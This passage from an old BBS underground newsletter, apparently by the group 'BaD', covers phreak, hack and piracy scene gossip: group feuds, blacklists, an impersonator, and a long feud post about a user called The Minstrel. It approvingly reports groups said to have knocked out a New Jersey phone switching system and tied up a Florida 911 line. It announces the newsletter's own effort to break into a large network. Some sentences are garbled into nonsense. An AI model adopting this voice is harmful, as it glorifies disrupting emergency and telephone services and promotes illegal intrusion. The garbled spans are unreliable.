neo-nazi anarchist group. Although they focus mainly on destruction texts and gifs, they do a little phreaking and hacking. They are well known for destroying the New Jersey switching system that was down for two days and lesser known for the Florida 911 scam with which they tied up the line for almost 24 hours by rerouting calls to a disconnected number. They specialize in random, but unique crimes and are based in (212). All of these new groups show a rebirth of the phreak/hack subculture and also the desire to pass aquired knowledge over to future generations. This is what the underground is all about and we support the motives of these groups. ---------------------------------------------------------------------------- PHANTOM KICKED OUT OF INC!!! The young sysop of X-T-C who revolutionized INC's courier system has been eliminated from the group. It seems that Phantom has long been mistreated by the other members of INC and his work was never appreciated. He claims responsibility for creating INC's brilliant courier system and couriers and said they were "the most efficient couriers the pirate world has ever seen." After months of disagreement with Cool Hand and Line Noise, Phantom had enough of what he called "bullshit" in the group and posted a message on the Celerity Net expressing his feelings. That combined with his attitude and a few stunts he pulled in the last few weeks was enough for INC to drop him. Phantom wishes that one day Vigilante or someone "with a little more sense and leadership ability that will work hard to clean the group of all the 'cleavage'" will lead the group. He also pointed out that INC sites were created solely because other INC sysops needed cash for the phone bill, equipment, or free wares to crack. Although he thinks THG is a better group, he says he has no intention of sharing INC's secrets with them. He will continue to keep his board up and call around. ---------------------------------------------------------------------------- FATHER TIME/MAD MARDIGAN IMPERSONATOR CAUSING TROUBLE Someone claiming to be Father Time and Mad Mardigan has been calling Long John Silver and a number of BBS's and harrasing people. Long John Silver was the first to be harrased. This all started with a few phone calls. At first, the caller cliamed to be Father Time. When he was asked about info that could identify him, he changed his story and claimed to be Mad Mardigan. At this point, he began "acting weird" and started talking about his new magazine, which he said would have Hard Core for a programmer. He also started threatening Captain Tom and then talking about how he would "rule the pirate world." Then he told Long John Silver that he would call back Saturday night at 6:00 pm. That night at exactly 6pm, the real Mad Martigan called him. He knew nothing of the conversation with the impersonator and told him he was sure the Crzy Joe didn't leave NEUA for INC and that Hard Core was not writing for any magazine. This is truely odd and a detrimental prank to the pirate world. If anyone has any info, contact Long John Silver or BaD as soon as possible. ---------------------------------------------------------------------------- TERMINATOR BLACKLISTED BY TSAN Terminator of (305) has been officially blacklisted by all TSAN boards for threats of virus warfare and crank calling and harassing Mad Mardigan. TSAN's blacklist started in 1984 and is the final word in all arguments concerning blacklisted persons. Although Terminator is an INC courier, the INC boards that are TSAN sites will be forced to abide by the blacklist until Terminator apoligizes publicly and ceases his actions. We will now consider all sysops warned and suggest that you avoid having this character on your board. Remember, public safety is the most important characteristic of a board and users rights must be protected at all costs. Do not allow bozos like this to disrupt the underground scene for the rest of us good guys. --------------------------------------------------------------------------- WATCH OUT FOR THE MINSTREL The Minstrel has been calling bbses under multiple false aliases. The following post seems to be the accepted as the most accurate by parties involved, so make up your own mind. Well here is the Minstrel's story: It all started as Sauron. He was a 2400 and nothing was bad about him. I wanted a change and I was expecting a new modem within the month. I started as The Tax Man. He became a very elite user and prospered MUCh until the day of Dr. Insanity who blacklisted him(me) for telling him not delete the Arkham Asylum zip comment. that is all. I also had gotten my first HST. Me and Dr. I had many bickers because of him "attitude" of being elite and so on....So I tried starting again but I was inexperienced and so it became obvious that I was the same person. So I made the new switch right when I got my Dual Standard. I became The Minstrel of California. it was all well, VERY WELL, until Smiling Smurf found out by chance when he called a user up to pick on him(Raw Umber) for getting 62 no votes in the NUV. He happened to ask him about The Minstrel. It happened to be fatal for me cause Raw Umber goes to my school and told him who I was. And then Smiling Smurf told Thet.s ined me, but I was definetely not blacklisted. I was too strong to be done away with that quickly. But I replied to him to calm down and he replied to me with death threats. I was very mad when I read them and I replied with hate-mail. He sent another death threat and someone else read them also and suggested I play a prank and tell him that I would turn him in for it just to get back at him. So I did. He replied with tons of more threats and posted everywhere that I have threatened him with that...then I sent him mail to aplologize after I got some mail concernin so no people he "kno"eoo"ehpdigtryaetaogetic mail like five of them. BUT someone had been using this battle to try to ruin me and wrote feedback to him anonymously as my Alias. and posted FBI messages and other messages that made him furious and he threw away my attempts at apologizing. he thought I wrote those of course no matter how much I denied it. I tried writing ANSI for him sorry-mail. Everything but he was too furious. So I decided to name him co on my board to satisfy him, but this only made him madder. And the latest news is that he posted that I turned him in already. BUT I did not, although there are others that might hve. I am not the only one that is fighting with him. I know that for sure...That is my story, MUCh shortened but still is thorough. FORT KNOX Sysop: The Tax Man - HEAT Member Co-Sysop's: Auto-Tek -- THG Member, NEUA Member, INT13 Member, HEAT The Joker - INC Member Running Celerity 1.35 Celerity BETA Test Site 0-4 Hour Wares No Attitudes. ALL USERS ARE WELCOME! (for right now) NEW BOARD CALL IT NOW FOR AN ACCOUNT! 301-926-0961 I have changed the requirements. Notadlor never. Soon to be affiliated. ------------- I must add that Smiling Smurf says that feds came to his house after this and TM # shows up on SS's CallerID several times that co-incide with some FBI or SPA shit. Contact Smiling Smurf for more info on that. The Minstrel lives in Maryland, that is the 301 area code, he has logged on to many local boards, and lied to their sysops, saying he was from California the 714 area code of CA. SOmehow I think that this shows that this person cannot be trusted, he lies to every single BBSer in the area, and also to their SysOp's. Now if I were a local SysOp with the Minstrel on my board I would be rather pissed. SysOp's don't ask you to give you address, they just want to know appox. where you are calling from. In this case, The Minstrel, instead of following what was common pirate ethics, decided to buck the system and try to rise higher than the rest of us. My personal feelings (I force upon noone) are that he should be blacklisted and deleted from all national level boards and forced to start out fresh. He already has made a bad name for himslef, now lesse if he can make a good name for himself. He has used at least 3 aliases in the last year on the same boards, even when he get's deleted off them. Now Raw Umber/Windwalker, is not that bad of a user, he stays in the rules and is cordial to all. Raw umber apparentls goes to the same school that the Minstrel does. In my opinion Raw Umber is more worthy of BBSing elite"ly" in this area than the Minstrel is, at least he is honest, and decent to others. To inform all, I did not have anything against The Minstrel, until he decided to post that I am lame, and an asshole to all the users on Arkham. Now The Minstrel has never met me or talked to me. How can he come to that conclusion? The only ones that can honestly say that I am an asshole and have any sorta of real idea, are Transgressor, The Keeper, Hunter Rose, Virus, and a user a while ago called Instinct. Upon having Minstrel telling me all these things, this conflict started. I made an attept to make up and he told me to go suck my pussy or something like that. (End of post) Well that cetainly was interesting. Just for the record, we at bad have no opinion on this matter, we only share the news. ---------------------------------------------------------------------------- ### BAD GROUP NEWS Recently, the BaD HQ board was taken down by the sysop as he wishes to quit BBSing. We are now starting all over and wish to eventually have sites in all 50 states if possible. Right now we are taking applications for sites and they will be filled on a first come first served. We already have a board in area code 901: "A Lounge Called Death" run by Gentleman Death. This system is a private phreak/hack board for Upper Echelon Members Only! (The number has recently been changed... If you were on there before, contact us through one of the methods at the end of this file.) Our format is crack/phreak/hack/pirate/anarchy. Yes, that means that we do EVERYTHING and we are good at it too! If you would like to run a support site and are a dedicated sysop and believe in what BaD stands for, please contact us! (Contact list at the end of this file.) Currently we are working on hacking a very large and well known network that we are not going to divulge the name of so that we don't unduely alert the authorities. However, be sure that when we succeed, everyone will know about it! We are keeping journals of our procedures and activities, so rest assured that when we pull off this major coup, we will enlighten the masses with our awesome technique! (If you know what we are talking about and want to join in on this project, the contact list is at the end of this file.) As you can tell with this BaD newsletter loader/viewer software, we do not have a whole lot of time to write programs for non phreak/hack/anarchy reasons. BaD is looking for a good programmer or two who is experienced in writing well written software! (Contact list at the end of this file.) On a sad note, we must doff our hats and take a moment to remember Star Eater who was tragically killed in a motorcycle accident two days before this newsletter is released. He lived fast, he drove his motorcycle fast, and hopefully he died fast and suffered little. We know he's giving 'em hell.... where ever he may be. If you would like to send flowers for the funeral, see the contact list at the end of this file. C O N T A C T S The members of BaD can be found on many good BBSes and are: Aryan Boy - Bart Simpson - Blind Justice - Bloody Ghoul - Blue Terror Brain Decay - Burlap Avenger - Carnal Leftovers - Crib Death Death Force - Death Hold - Executioner - Frost Byte - Gentleman Death Housepet - Iron Fist - Lobotomy - Premature Autopsy - Phrozen Ghost Plumber of Sorrow - Shortwave - Spathi - Spandex Phantom - Spike The Lubricator - The Trooper - Tire - Truk-king B B S: A Lounge Called Death . . . . . . . . . . 901-PRI-VATE V M B: Washington Voice Mail Concepts. . . . . . 703-715-8551 x666 ###